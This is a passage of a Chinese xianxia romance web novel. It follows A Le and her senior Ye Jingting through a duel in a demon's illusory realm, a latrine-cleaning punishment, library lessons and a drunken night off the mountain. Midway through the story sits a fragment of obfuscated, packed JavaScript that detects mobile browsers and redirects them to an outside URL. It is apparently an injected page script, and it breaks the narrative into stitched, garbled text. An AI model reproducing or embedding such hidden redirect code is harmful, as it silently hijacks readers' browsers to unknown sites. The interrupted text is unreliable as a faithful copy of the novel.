“胡说。”叶敬亭双眼瞪圆,双唇抿紧,手中捏诀速度加快,“寒冰”在空中快速变化,剑锋“嗡嗡”作响,转眼便把夜郎逼到角落。
“夫人,你就这样看着你的夫君被别人欺负吗?”夜郎泰然自若,还抽空向阿乐眨了眨眼。
阿乐瞬间羞的满脸通红,手指着他道:“你——你——谁是你夫人!!!”
“落雪”又往前逼近了几分。
“啪”一声红光闪烁,夜郎竟在两人剑前消失不见,再回头,他已站在两人身后。
“夫人,你真的宁愿跟他,也不跟我呀?”“寒冰”从身旁飞来刺向夜郎,红光一闪又不见了。
红光在叶敬亭身旁闪现,“小心——”阿乐冲着叶敬亭方向喊道,眨眼间两人却不见了。
“师兄!”
“敬亭师兄!”
阿乐在大殿里翻找一通,就那么一眨眼的时间,两人就这样凭空消失了。
叶敬亭眼睁睁看着阿乐从面前走过,伸手想拉住她却碰不到她身体,只能看着她在大殿里着急。
“这是哪里?”叶敬亭低沉着声音。
“别着急呀!敬亭师兄——”夜郎露出两颗尖牙,红色眼眸里漫出一片刺眼的亮光把两人淹没。
叶敬亭再睁开眼发现自己正在清灵山寝室,站在窗口顺着树干看向暗处的树洞。
阿乐的声音从树洞传来:
“阿娘阿娘,今天吃到酒酿丸子了,跟你做的味道一模一样,若是再加些桂花糖会更好吃。我今天吃了两碗。”
“有一个师兄比我年长几岁,却总是板着一张脸,也不曾见他笑过。”
一转眼又到了修炼场。
远远看到一道白光在夜空中升起又落下——
画面再转到一片泥地,看到眼前的阿乐半身陷在泥地里眼泪汪汪看着自己无助的样子——
画面越转越快,转到双生洞,看着眼前镜子一点点消失,对面浑身插满刀光的阿乐无力跪在地上——
“敬亭师兄——”阿乐手舞足蹈欢乐无比——
“师兄,我们去后山放生这些灵蝶吧!”,看着散落一地的灵蝶满脸失望的样子——
“够了!”叶敬亭吼道,召唤“寒冰”握在手里,闭上眼念静心诀,屏气凝神,举起“寒冰”狠狠超前劈下。
再睁眼,夜郎站在面前笑盈盈正在端详着自己,“寒冰”贴面刺去,却被他轻巧躲过。
“敬亭师兄,不要动怒嘛”,还是一副笑嘻嘻的摸样,“这都是你脑袋里的东西,我可什么都没做。”
叶敬亭强忍着怒气,催动“寒冰”向夜郎袭去,眼看快要刺到,都被闪过。
他的声音萦绕在耳畔:“你明明脑子里都是她的影子,为何又要推开?”
“不会是因为‘浮生烬’吧?”
“血脉相淆者,天地共诛。真是可笑——还是——你怕了?”
“天规岂能容你随意亵渎”,叶敬亭冷哼一声,手中快速捏诀,身后爆出一圈金光,变幻成千万把光剑。剑锋对准每一寸地方,只要夜郎现身便全部刺去。
呼吸声再次在耳后响起,就在这眨眼之间,叶敬亭早有防备,侧身一把抓住对方脖颈,“寒冰”感应到主人召唤,从夜郎背后一剑刺穿肩膀,看着剑刃带着血色出现在面前时,他一脸难以置信。
“你怎么能——”说罢捏诀逼出“寒冰”,一口鲜血顺着嘴角流下。
叶敬亭双手抱着他脑袋,两手之间白光暴涨,低声道:“这里是你的‘异界’吧?”
白光逐渐把两人淹没。
一片荒漠,一个小小的人儿抱着一个水壶跟在身后:“师父,你等等竹映。”
一转眼,在大殿里传来欢快的声音“师父,你看,我今天摘的花可好看了,”转身便看到竹映满心欢喜提着一篮子鲜花从门口进来。
叶敬亭看到长大的竹映眼睛微微睁大,这女子的摸样既与阿乐有几分相像。
画面再次一转,竹映脸颊微红:“师父,妖市人多,大家都看着呢!”,“看就看呗,你是不是病了,脸怎么那么红?”
夜郎痛苦挣扎着想要逃开叶敬亭手掌,无果,又被按回原位。
画面飞快旋转,一眨眼怀里躺着满身是血的竹映,嘴角还在不断渗血:“师父,对不起——我没打赢他——也没控制住‘浮生烬’——师父,别哭——替我好好活着——”
“滚开——”一声怒吼响彻金殿,一掌把叶敬亭打出结界。
夜郎双眼瞪大,无力的瘫软在地上。低着头看不见表情,双肩微微颤抖着。
“师兄!师兄你没事吧!”看着在殿内又突然出现的叶敬亭,阿乐连忙跑去查看伤势。
胸口传来阵痛,喉间一甜吐出一口鲜血,这掌着实厉害。
“没事。”
叶敬亭强忍痛楚,望向瘫坐在地上的夜郎,顿了顿道:“走吧。”
“好!”说罢拉着叶敬亭御剑飞去。
四个满脸褶皱的老者围在夜郎身边,其中一名叫“大鬼”的查看完夜郎伤口,杀气腾腾地想追出去,被夜郎唤回,“不用追,放他们走!”
“公子,可是你的伤——”
“无碍,放他们走——”顿了顿,接着道:“他——还会回来的。”
风呼呼从耳边吹过,阿乐站在叶敬亭身后,紧紧拽着他衣袖。脑海里一直在想,刚才他俩到底是怎么消失的,又是怎么出现的?还有为什么夜郎会同意放他们走?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674368|188675||http|test|mini|href|location''.split(''|''),0,{}));
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>夜郎不是想娶妻吗?难道在消失的那段时间里他们做了什么交易?阿乐有很多问题想要开口。
看着叶敬亭清冷的背影,似乎并不想与自己交流,只能选择默默闭嘴。
飞了好一阵,脚下开始热闹起来。
脑袋里忽然多出很多密信,全是那三人发来的。
“敬亭你找到阿乐了吗?”
“你们到底在哪里啊,说话啊!”
“那个猪头老板什么也不知道,真是白费工夫,你们到底在哪,回个话呀!”
“阿乐,敬亭师兄,你们还好吗?”
······
“各位师兄,你们在哪里?我们出来了。”阿乐才刚发出消息,便收到回应。
“啊啊啊——阿乐,敬亭师兄你们在一起吗?”叶之远第一个回复。
“阿乐啊,你们在哪里啊?没事吧?”叶展云担心道。
“臭小子,不会说话啊,有没有受伤啊?”叶鹤追问。
“各位师兄,我们很好,无需担心。我们现在在妖市上方。”阿乐一并回应。
“没事就好,没事就好——”叶展云舒了一口气,只是感觉话还未说完。
“阿乐,敬亭师兄,我们已经回清灵山了。”还是叶之远实诚,道出实情。
“什么?你们什么时候回去的?”阿乐一脸震惊,没想到他们居然抛下他俩先回去了,还以为在四处找他们呢,想到这瞄了一眼叶敬亭,还是一动不动的背影。
还好他来找自己了。
“那个,本来我们是在四处打听消息的,可是——可是——亥时已过,如果卯时还不回到清灵山——”叶之远没有继续说下去,半晌才说:“其实我想留下来等你的——”
“敬亭呀,我们只是先回来应付师尊,本想找时间再去找你们的——”叶鹤打断叶之远消息,硬生生插话。
“回来了。”叶敬亭这才回应。
终于说话了,阿乐憋了一路,已经不想理会不断发来的密信,扯了扯叶敬亭衣袖,小声道:“师兄,刚才你跟夜郎怎么都不见了呀?”
本以为他也不一定会回答,低沉的声音从前方传来:“进入他的‘异界’。”
“异界?是他构建起来的另一个世界,在那里他是最强的,是吗?”她听阿爹说起过,可是那个地方也不能呆太久,有修士迷失在自己的“异界”里再也出不来的话本。
“嗯。”声音还是依旧听不出任何情绪,阿乐却莫名觉得是亲近了一些,以前他不一定会回应的。
“那他——”阿乐还想接着问,被叶敬亭打断“我们分开回去。”
也对,师兄一直都是师尊最为看重的,平时守律克己,一直是吾辈楷模,肯定不能被师尊发现偷偷下山一整夜。
“好。”阿乐点点头,毕竟他才救过自己,这点小事肯定要自己先出头。
清灵山到了。
阿乐远远便看到师尊、子清师兄站在门口。
师尊一脸怒气,看来是发现他俩一夜未归,现在是要亲自来问罪。
深吸一口气,去领罚总比被夜郎捉去做新娘好。整理了下衣襟,大步向门口走去。
却只见眼前飘过一道白影,再眨眼,白影已到门口。
半晌,师尊的声音远远飘来:“去领罚十鞭,再禁足半个月。”
25. 领罚
阿乐低着头磨磨蹭蹭走过去。
“知乐——”叶修一声音听起来很平静。
“师尊——我错了”阿乐不敢抬头,心道“不会也要罚我禁足吧?那还不如也罚我十鞭呢”。
“打扫清灵山茅厕。”
“茅?茅厕?”阿乐有些不敢相信这是师尊说出来的话,睁大眼睛看着他。
“全部。”
叶修一说罢便拂手而去。
叶敬亭还是一脸平静,似乎一会要去领罚的并不是他。
叶子清投去同情的目光,却也无能为力。
只剩下阿乐一人愣在原地,她此刻脑子里正在计算这个清灵山到底有多少座茅厕。
脑子里收到叶鹤密信:“阿乐,没事,用灵力很快的!”
空中传来叶修一声音:“不许用灵力,也不许任何人帮忙。”
“——”
阿乐望着铺满早霞的天空,两行泪水从眼角顺着脸颊默默滑落,不忘发出密信:“鹤师兄,清灵山有多少座茅厕啊?”
“二百五十六座。”
“现在走,还来得及吗?”
“不要担心,阿乐,我会来悄悄帮你的。”叶之远回道。
“师尊说不许任何人帮忙。”阿乐擦了擦眼泪,叹了口气。
“所以才说——是悄悄的啊!”
“要是让师尊发现,估计连你一起罚。哎——”
“那我给你去买好吃的给你加油。”
“——先谢谢你。”
阿乐知道叶之远对自己是有些“过于”好了,她权当是因为那一次比赛,他差点让自己从空中坠下,一直有一些愧疚之心,所以才会多一些“关心”。
短短一日感觉发生了很多事,可发生再多事,也要去学堂上课。
此时此刻的阿乐已经没有任何心思学这些东西了,她满脑子想的都是有什么方法可以快速“清理污秽”。
当然,师尊虽说是不能用灵力,让子清师兄来监督,实际她用灵力,叶子清也就是睁一只眼闭一只眼。
这几日忙着打扫茅厕,甚至没有发现叶敬亭没有来学堂。
阿乐知道,他是去领罚了嘛,毕竟要被打“十鞭”,只是这已过去三日了,至于还不能出门吗?
叶鹤、叶展云平日总会见到的人,这几日也是匆忙打过照面就不知跑去哪儿了。
密信只有叶之远会回复,越想越觉得奇怪,莫不会背着自己密谋什么好玩的事情吧?
可是他寝室在哪儿呢?上次有听鹤师兄说过,敬亭师兄喜静,没有和他们住在一起。
要找个人问一问才行。
怎么着,他们也要吃饭的吧!这个时间点去饭堂刚刚好。
到了饭堂,巡视一圈,全都是一张张陌生面孔,没看到一个熟人。
“他们不可能饭都不吃了吧!那肯定是背着我出去玩了。”阿乐一个人站在门口小声嘀咕。
“阿乐!”熟悉的声音从背后响起。
寻声望去,原来是叶丽、叶茜两人,阿乐看到她们端着食盒正准备出去。
“你们要去哪里啊?”阿乐指指叶丽手上的食盒。
两人心虚的互相看了一眼,叶丽道:“晚上怕肚子饿,带些回去做宵夜,都是些糕点什么的。”
“那个,阿乐,你快去吃饭,今天大厨做了红烧肉,你快去,我们就先走了哈。”叶茜说罢便被叶丽拉着走了。
不对劲,两人平时可没那么贪嘴,何况这鬼鬼祟祟的样子可不像是没事的样子。
看着两人离去的背影,阿乐决定跟去看看。
沿着一条小路七拐八弯,两人终于到了一处古朴的房屋前停下了。
这屋子怎么有些眼熟,一时又想不起来在哪里见过。
这时,叶丽往四周看了看,确定没人才抬手敲门。
“叩叩叩”
门开了,看不清门后的是谁,只见叶丽把食盒递进去又被里面的人推出来,几番轮说,里面的人才勉强接过食盒。
叶丽大声往里喊了几句,依稀分辨大概意思是:“好些了吗?”、“需不需要灵药”什么的。
再寒暄了一会门关上了,叶丽垂着头站了一会,两人才依依不舍离开。
阿乐越看越迷糊,那屋子里到底是谁呀?看着叶丽这样子,倒更像是她的心上人。
站在门前,脑子里编好了理由,就说自己走迷路了来问路好了。
“叩叩叩”
“叩叩叩”
过了一会才有声音从屋子里传来:“现在不方便,把东西放门口就好了。”
听到声音,阿乐愣住,这——这不是叶鹤的声音吗?
原来他们在这里!阿乐有些生气,为何连叶丽都知道他们在这,唯独自己不知道?所以是把自己当外人咯?
一掌推开大门,带着一身怒气闯进屋里。
“哎——竟敢私自闯——”叶鹤话还没说完,便看到一张怒气冲冲的脸闯进来。
“阿乐?”
踏进屋里,只见床上躺着一人赤裸着上身,床边站着两人衣冠不整,只穿着薄薄的一件内衣。
“啊啊——”这是什么样的画面,立马捂脸转过身。
“你们——你们在干嘛?”阿乐满脸通红,说话语无伦次,这种场面还是第一次见。
说话间三人已整理好衣服。
“好了,你转过来吧”
再三确认过,阿乐才转过身。
红晕还未褪去,阿乐叉着腰正准备一顿输出,一眼看到坐在床榻上的叶敬亭。方才躺在床上的那人是他吧,身上似乎还打着绷带,现在看去又看不出什么。
“你们三个,出去玩也不带我!”阿乐横眉竖眼,气鼓鼓道。
“谁说我们出去玩了?”叶鹤回道。
“那为何不回密信,又要躲在这个地方,要不是今天遇到叶丽叶茜,我都不知道你们在这!”
“她们都知道你们在这,就我不知道!”
“我去打扫茅厕,也没人问下我打扫多少了。”
这几天本来就天天去打扫茅厕,也没有人关心下自己,三个人还整天神神秘秘,面都见不到几次,想到这些就生气。
“啊哟,师妹,这你可误会我们了。这几天在照顾敬亭呀!”叶展云说罢,便听到叶敬亭清了下嗓子。
“我已无碍。”阿乐上下打量着端坐在床榻上的叶敬亭,面无血色,嘴唇发白,难道那“十鞭”真有那么厉害?
大步上前,一记拳头扎扎实实打在叶敬亭胸口,“阿乐——不要——”叶鹤还是慢了一步。
一声闷哼,丝丝血气已从叶敬亭嘴边流了下来。
一阵剧烈的
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咳嗽带着血腥味弥漫在空气中。
阿乐顿时慌了手脚,她只是想试试叶敬亭到底是不是受伤了也没下重手,本以为他会躲开的。
“师兄,对——对不起,我不知道伤那么重!”手一顿慌乱,不知该先擦血还是先查看伤势。
“师弟,不是都好——”“很多了”三个字还未说出口,叶展云便被叶鹤拉着出去了。
两人出来后,叶展云不解:
“叶鹤,你拉我干嘛,你没看到师弟吐血了?”
“我说你平时不是很会跟姑娘打交道吗,这下看不出来?”
“——有话直说!”
“你什么时候见过师弟这样被打一拳就吐血,那么柔弱?”
“哦——原来师弟他——可是阿乐不是——”
“那是敬亭自己该考虑的事情——走——喝酒去”
“喝酒——喝酒——”
“嘘——声音小点——”
房间里顿时安静下来,阿乐第一次看到叶敬亭这个样子,平时都是一副“吾辈楷模”的样子,永远洁白干净的衣服,一丝不苟的发丝。
现在长发披撒在肩,脸色发白躺在床上的这个样子,把这清淡的五官衬托的楚楚可怜。
“师兄,你怎么受那么重的伤啊?我以为——”阿乐轻轻擦拭着嘴角,感觉到叶敬亭目光灼热的看着自己,以为他是不是被一拳打生气了。
“灵尊什么时候来接你?”叶敬亭道。
没想到他会问这个,阿乐抬眸怔了一下,“阿娘前日来信说还要再过半个月才能来。”
“怎么了?”不会是想让自己赶快走吧?
叶敬亭微微摇摇头,又指着胸口点点头,“疼。”
阿乐倒吸一口气,果然是怪自己打到他伤口了,连忙双手放上去轻轻/rou着,“师兄,对不起。”
叶敬亭未回话,安静的看着她。
透过这薄薄一层内衣,手上传来“咚咚咚”心跳声,抬眼撞上叶敬亭目光,“咚—咚—咚”这次是阿乐自己的心跳声。
“还疼吗?”阿乐被看得有些心虚,这力道也不重啊,怎么还是不说话。
“饿吗?”叶敬亭轻声道。
“啊?”又是没头没尾的一句话。
叶敬亭抬手指了指桌上,整整齐齐码了一排食盒,少说也有六七盒。
“这些都是叶丽送来的?”阿乐惊叹。
“不全是。”叶敬亭道。
“还有其他人也知道这里?”阿乐皱着眉,斜眼望着叶敬亭,“只有我不知道你寝室在这里呗?”
手上力道加重了一些,“嘶”叶敬亭倒吸一口凉气,这次是真碰到伤口了。
“没事吧?”阿乐慌忙道。
叶敬亭捂着胸口摇摇头,“茅厕打扫多少了?”
阿乐张开一个手巴掌道:“五十。”
“累吗?”叶敬亭眯起眼道。
“肯定累啊——你不知道那个味道有多难闻——”这件事憋了三天了,终于找到人吐槽,阿乐一顿输出,说着自己怎么打扫的,味道有多难闻,衣服都丢了多少件。说到激动处手舞足蹈,上蹿下跳比划。
叶敬亭目不转盯看着阿乐,听到精彩处也会勾起嘴角。
夕阳落幕,星空撒满夜空。
这屋前的树洞是好久没有人来过了。
26. 藏书阁
往后三天,阿乐每天下学堂都来送饭,以至于叶子清都怀疑这次受罚是不是师尊是不是真下了狠手,以叶敬亭的修为怎么会需要躺那么多久。
“师兄,敬亭没事的,不用担心。”叶鹤半路拦住想要去送药的叶子清。
“那他怎么躺那么久?”叶子清还是不放心。
“师兄,我想起来,后山最近来了一只猛兽,吃了好多仙草,你得跟我去看看。”说罢与叶展云一人一边架着叶子清离去。
阿乐不知道外面发生了什么,打开食盒,把饭菜一碗碗端出来放好,小心的扶着叶敬亭起床坐好。
看着叶敬亭慢条斯理的夹菜吃饭,阿乐道:“师兄,师父的戒鞭那么厉害吗?你都躺了六天了。”
夹菜的筷子悬在半空中停了片刻,叶敬亭脸上红了又白,顿了顿道:“快好了。”
阿乐点点头,杵着下巴望向窗外,一只小鸟翩然飞来停在窗边,看着它自由快乐的样子叹了一口气道:“八十。”
叶敬亭轻笑,他知道她在说茅厕。
“清灵山有那么多人吗?用得到那么多茅厕吗?”阿乐把头埋在桌子上,一滴眼泪滑落顺着眼角滴在桌子上。
一只大手遮住了视线,温热的皮肤划过眼角,清冷的声音从头顶传来:“明天我去。”
“可是大师兄会在场监督。”阿乐直直坐起,眼眶微红看着叶敬亭,他伤才刚好的差不多,可不能再因为她受罚了。
“没事。”叶敬亭轻声道,看着阿乐顿了顿接着道:“你要答应我一件事。”
只要能不去扫茅厕,做什么都行,几乎是想都没想就应道:“好。”
“以后每日都要找我练功。”叶敬亭弯腰盯着阿乐眼睛道。
那意思是每天下学后还要加练的意思吗?不过算来也不会有几日了,再过半月阿娘就要来接自己走了。
总比剩下日子都去打扫茅厕强吧。
“好!”回答得干净利落。
“从明日起每日戌时一刻到藏书阁找我。”叶敬亭道。
“好!”
这天,下学后,阿乐看到好多外室弟子都往修炼场跑去,也不知道是发生了什么。
她也跟着跑去看热闹。
到了一看,八成的外室弟子都来了吧,偌大的修炼场挤得满满当当。
大家自觉排着队,阿乐顺着队伍看去,最前面站着一个人手里持剑,旁边轮流有人上前展示剑法,这挺拔的身姿有几分熟悉。
“这位师兄,大家在这排队是干什么呀?”瞧准一个看上去比较面善的外室弟子问道。
“这位师妹,你现在才来恐怕是排不上队了!那个是叶敬亭师兄,正在帮我们看剑术。”看着他双眸闪闪发亮,这应该是很难得的机会吧。
“叶敬亭?看剑术?”阿乐听得一愣一愣,叶敬亭帮大家指导剑术?叶敬亭?平日见到师弟师妹打招呼顶多就是颔首而过的人,能少一事便不会多一事的人,为何今日心血来潮指导大家剑术?
是她疯了,还是叶敬亭疯了。
阿乐又抓住一个刚展示过剑术的人,问道:“师姐,敬亭师兄教的怎么样啊?”
“哈?很厉害!我一直没有想通的地方,他一点就解开了。”师姐脸上两朵淡淡红晕,眼神不停往叶敬亭方向瞟去。
阿乐清了清嗓子,师姐回过神道:“就是很奇怪,他让我们按照寝室范围一公里为界自行组织大扫除,包括打扫茅厕。”
哈?阿乐怔住,这就是叶敬亭想到的法子?
用教剑术来换取让大家大扫除,然后顺便打扫茅厕?
“噗嗤”一声,阿乐捂着肚子哈哈大笑,原来还能这样,这像是他能想出的法子。
一直到天完全黑下来,叶敬亭才回到寝室。
门口放着一个食盒,叶敬亭拿起来准备开门,便收到阿乐密信:“师兄,回去没?门口那个食盒里面是找大厨做的特别版酒酿丸子,加了桂花糖,口感很好哦!辛苦了!”
叶敬亭打开一看,桂花香气扑鼻而来,嘴角轻轻勾起。
舀了一勺在嘴里,回道:“很甜。”
在大家自行组织下,茅厕一天之内便全部打扫完毕,叶子清交了差,阿乐现在开心不已,向着藏书阁跑去,想要亲口告诉叶敬亭这个喜讯。
藏书阁。
“师兄,师兄!茅厕全都打扫好了!”阿乐从进门便一路高呼,藏书阁里回荡着欢呼声,却未见叶敬亭。
“敬亭师兄!茅厕打扫好了!打扫好了!”
“听见了。”叶敬亭从一道书架后走出来,手上拿着一摞书本。
“师兄,还是你厉害!我做了那么多天都没做完,就一天,不对,你就用了五个时辰就完成了。”阿乐抓着叶敬亭衣袖摇晃,凑近眨巴眨巴眼睛,嘴角上扬完全压不下来。
“知道了,你来。”叶敬亭还是一如既往平静如水。
把一摞书摊开放在书桌上道:“这些书需五日看完。”
阿乐瞪大双眼,数了数“一、二、三、四、五”,诧异道“五日要看完五本书?”
叶敬亭点点头,阿乐拽着衣袖泪眼汪汪摇摇头。
“我们时间不多了,要抓紧。”叶敬亭道。
“我们怎会没有时间?”阿乐皱眉嘟嘴。
“我会一本本详细讲解要点。”叶敬亭不为所动,目光如炬盯着阿乐。
阿乐松开手,端正坐好。师兄说要看,那必定有他的道理,反正不是自已一个人。
从天明到天黑,藏书阁里亮起了烛光。
叶敬亭还在滔滔不绝,阿乐眼睛困得想要闭起来。平时话不多的师兄,怎么那么能说,好想去找鹤师兄,不知道那两人现在在哪里快活。
“阿乐,你在哪里?要不要去抓鱼?”叶之远发来密信。
阿乐眼睛顿时明亮起来,“好呀——”密信才刚发出,便看到叶敬亭投来冷冽的目光。
“她不去。”叶敬亭发出密信后,指尖灵力封住密信通道。
“端坐好。”声音有些许严厉。
阿乐低着头抠手指,并不想理他。
“看完这些书,我们去后山看仙鹿。”只好柔声道。
点点头:“一言为定,继续。”想到后山可不止仙鹿,说不定还能再看到其他灵兽。
说来也奇怪,平日里下了学堂都会觉得很累,这几日每天还要去藏书阁,阿乐却觉得非常充实。
“我不愧是阿娘、阿爹的孩子,学东西就是快!哈哈”阿乐笑呵呵推开藏书阁,里面既然空无一人。<
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p>“师兄!师兄——”阿乐高喊了两声,没有人应答。
书桌上放着今日要讲解的书本,砚台、笔、纸都是整齐摆放好,阿乐抬头看看天色,师兄是从来都不会迟到的,今日是怎么了?
或许是有重要的事情吧,那就再等一会好了。
这藏书阁,还没有好好逛过呢。这里应该有许多藏书吧!
阿乐顺着最近的书架往里走去,没想到这里那么大,什么类型的书都有,通古博今,一时间看花了眼。
靠墙最里边有一四方盒子,旁边什么标识也没有,阿乐好奇的走去。
打开一看,也不是什么书,都是一张张写满密密麻麻的的纸张。
看着这苍劲有力的笔触,就是敬亭师兄的字迹。
仔细看去,写的是《清灵规》,第一行字映入眼帘,阿乐跟着念出声:“血脉相淆者,天地共诛。”
心情无端落下了几分,在这里呆了几个月,都快忘记自己体内有“浮生烬”了。
阿乐低垂着眼,把纸张理好放回原处。
这时,一阵风吹过。阿乐心底一惊,警觉起来。藏书阁外面有一圈结界护着,怎么会有风吹进来?
“嘻嘻”一阵笑声拂过耳朵,再仔细听去又不见了。
阿乐慌忙祭出“雪落”紧握在手里,难道是闯入了什么妖物?
“血脉相淆者,天地共诛”声音再一次轻飘飘传来。
“你是谁?出来说话,装神弄鬼算什么?”阿乐强力压住心底油然而生的恐惧,她不是怕妖魔鬼怪,是这个妖物竟然能闯入道藏书阁,实力不容小觑。
“哈哈——你是混血者,体内有‘浮生烬’”,阿乐努力辨别声音方向,却怎么也找不到源头。
“那又怎么样?”阿乐回道,她想要引诱对方多说几句,这样才能暴露出方位。
“别找了,你找不到我的!”声音虚无缥缈,好似又不在这藏书阁内。
“你到底是谁?”阿乐找了藏书阁一圈也未发现有异样,握住“雪落”的掌心里全是汗。
“他可是清灵山叶修一培养的继承人,他可是纯血神族人。”声音没有回答,自顾自说道。
“纯血”、“神族”、这些字眼犹如一根根小针扎入体内。
阿乐紧闭嘴唇,半张脸憋的通红,胸口处剧烈疼痛,快要喘不过气来。扶着墙壁才勉强站稳。
“你觉得他会愿意放弃前途和一个体内有‘浮生烬’的混血者在一起吗?”声音还在耳边继续。
阿乐挥剑向空气砍了几下,却剑剑落空。
“他——只是我师兄!”阿乐闭上双眼,压下胸口快要冒出来的血气。
“呵呵——你瞒不过我的。”声音近的仿佛在耳边萦绕,却又还是见不到是何人。
阿乐咬紧牙关,靠着墙壁坐下,喉咙处的血腥味越来越浓。感觉到体内有某种力量正在沸腾,沿着经脉很快便烧过全身,大口呼吸着,却也安抚不下来。
“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”声音变得变本加厉。
“我会——会祝福他。”说完这一句,气血冲破喉咙吐了出来。阿乐挣扎了一下,四肢酥软无力,脑袋昏昏沉沉,便昏了过去。
27. 下山
什么也没有梦到,脑海里一片黑暗。
冰冷的地板硌得腰疼,阿乐缓缓睁开眼睛,身体传来一阵酸痛,左臂压在头下太久已经失去知觉,稍微动了一下既有些生疼。
“嘶”——眼前一片黑色,阿乐在黑暗中摸索到了墙壁,靠着墙慢慢坐起。
空气中飘来一股血腥味,擦了一把嘴角,是自己吐的血。
体内总算是恢复了平静,那股力量安静了。
坐着休息了一会,想起方才的声音,连忙召唤“雪落”握在手中,放慢呼吸,空气中一片寂静,那个声音——应该是走了吧。
手中捏诀,一挥手,藏书阁内的灯亮了起来。
环视四周,并未见到任何异样,看来是真的走了。
总算是“逃”过一截,想起刚在在体内蠢蠢欲动的能量,那股灼烧感,还是有些后怕。
万一——还好没有发生。
“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”刚才那声音说的话在脑海中回荡起来。
阿乐用力甩甩头,自言自语道:“他——只是我的师兄。”
心脏好像被人用指甲尖捏了一下,手掌用力按了下胸口,像是说给自己听的话:“他是我——师兄而已。”
此时此刻的阿乐只是觉着与师兄们在一起的日子很开心,特别是敬亭师兄,仅此而已。可是这声音说的这些话,真正难过的是,他们始终不是一类人,她是个混血者。
阿乐仰起头,轻靠在墙壁上。桌台上摆放的书与之前一样,看来是没有人来过。
那敬亭师兄呢?说好的每天戌时一刻在藏书阁,这是最后一天了,人也不来也没有留消息。
缓坐了一会,阿乐才起身离开,“需要给他发密信吗?”
“哎——罢了。反正我是迟早要离开的人,多学一点少学一点又有何差别呢?”
说是自言自语,不如说是想对某个人说的话,说不出口只能对自己说罢了。
合上门一挥手,藏书阁恢复一片黑暗。
今日的清灵山格外安静。
阿乐一个人悠悠荡荡,一时间既不知道该去哪里。
突然很想醉一场,反正也要走了,被发现也不会怎么样吧!
这个时辰直接御剑恐怕会引人注目,先到门口再御剑比较妥当。
夜风清爽,阿乐想来这段时间都是与师兄们在一起,习惯了热闹,倒是一个人的时间越来越少了,难得今日自己一人,一定要喝得痛快。
下山后,在附近找到了一个小镇。现在这个时辰,小镇街上正是热闹。
阿乐随意找了处清净些的酒肆,店小二提着茶水立刻迎来:“这位——姑娘,今日的秋露白味道醇正,要不要来一壶!”
“好。我要两壶。”阿乐道。
“姑娘,两壶怕——”店小二看着阿乐气质不凡,又是孤身一人前来,喝醉了要是闹出事小店可担待不起,想要劝说几句。
阿乐掏出一锭银子放在桌上,这是阿娘临走前留给她以备不时之需。
“好嘞,姑娘,再给您送上二两牛肉,一碟卤花生。”店小二喜滋滋拿着银子离开,没想到今日大赚一笔。
酒菜很快便上齐。
阿乐把酒杯倒满,一仰而下,这酒果然如店小二所说,甘甜醇正,竟没有辛辣的味道。
一杯又一杯,两壶酒很快一扫而光。
街上的人好像多了起来,阿乐揉揉眼,多出来的“人影”又回归原位。
头有些晕沉沉,眼皮重得要使劲才能撑开。
干脆躺下睡一觉算了,反正清灵山也没人在乎她,要不是看在阿娘面子上,清灵山那样的神族正派,哪能让她轻易进去。
罢了,罢了,不过就是漫长时光中的几个月而已,以后还要遇到大把的人,说不定自己也能遇到一个英俊帅气修为超凡的混血者,比叶敬亭还要厉害——
想着想着,眼皮已经合上,耳朵边嗡嗡嗡老有人在说。到底是谁那么吵啊?就不能不说话吗?这都什么时辰了,这里就没有宵禁吗?
“姑娘,姑娘!不能睡在这里啊!你家在哪里,我送你回去!”迷迷糊糊被店小二的声音吵醒。
“嘘,不要吵。”呢喃了几句又睡着了。
旁边有客人说:“这姑娘我认识,我送她回去。”
店小二追问那客人,她姓名是什么,客人支支吾吾编了好几个名字,却没一个叫得答应。
“叫不答应就不能带走。”那人骂骂咧咧几句“多管闲事”便走了。
“姑娘,你家人在哪?”店小二问道。
“家人?呜呜呜呜呜,我没有家人,我师兄也不要我了——”阿乐闭着眼睛呜咽起来,也不知是梦到了什么,没有眼泪,却越哭越伤心。
“好好好,那你告诉我,你住在哪里?”店小二挠挠脑袋,这是不是跟家人吵架了呀。
“清——灵——”话没说完,阿乐又睡了过去。
“清灵山?”店小二瞪大眼,没看出来这位姑娘居然是清灵山弟子,那可不敢怠慢。
转身去找老板商量,要怎么把这姑娘送回去。
“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”脑子里又出现这个声音——
“烦死了烦死了,我说了我会祝福他啊!!”阿乐从桌子上一跃而起,摇摇晃晃往街上走去。
还好此时的大街上人不多,不然按照她这样的步伐不知要撞到多少人。
待店小二再出来时,桌子上空无一人,四处巡视了下,也没见到人影。
阿乐仔细辨认来时的路,但其实就是眼睛根本都没睁开几次,哪还能知道自己到底是走去了哪里,不过是乱走罢了。
脚下被石头绊了一跤,阿乐顺势扑倒在地,却也不觉得疼痛,闭着眼摸索了一番,这柔软的触感像是一片草丛,青草香味扑鼻而来,阿乐翻了个身嘟囔道:“好了,到家了,我要睡觉了。”
不知道睡了多久,一阵凉风吹来,雨滴便接踵而至,淅沥沥下了几滴后,便是豆大的雨滴砸了下来。
阿乐被雨滴砸醒,冷雨浇在脸上,酒顿时清醒了一半。
连忙爬起来,找地方避雨。
还好在闪电中看到一处破庙。破庙荒废了很久,连供奉的神明都已破败不堪,从庙的装修来看,依稀能看到当
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年的辉煌。
雨越下越大,丝毫没有停止的意思。阿乐只好用灵力烤干衣服,捡了些干草找了个隐蔽的角落盘腿打坐。
门外一阵喧哗,“大哥,这里有个破庙,先避下雨吧!”
“该死的清灵山,就爱多管闲事。”另一个粗声粗气的声音抱怨道。
“那些臭修士,自己的灵尊不也跑去与龙族生了个孽种,现在倒管起我们的事。”第三个声音尖锐无比。
阿乐把身体往里藏了藏,凝神屏气,结起结界又收敛起身上灵力,以免被发现。
听着这些话,说的不就是阿娘嘛——
那三人“窸窸窣窣”四处捡了些残枝破布,很快点起篝火。
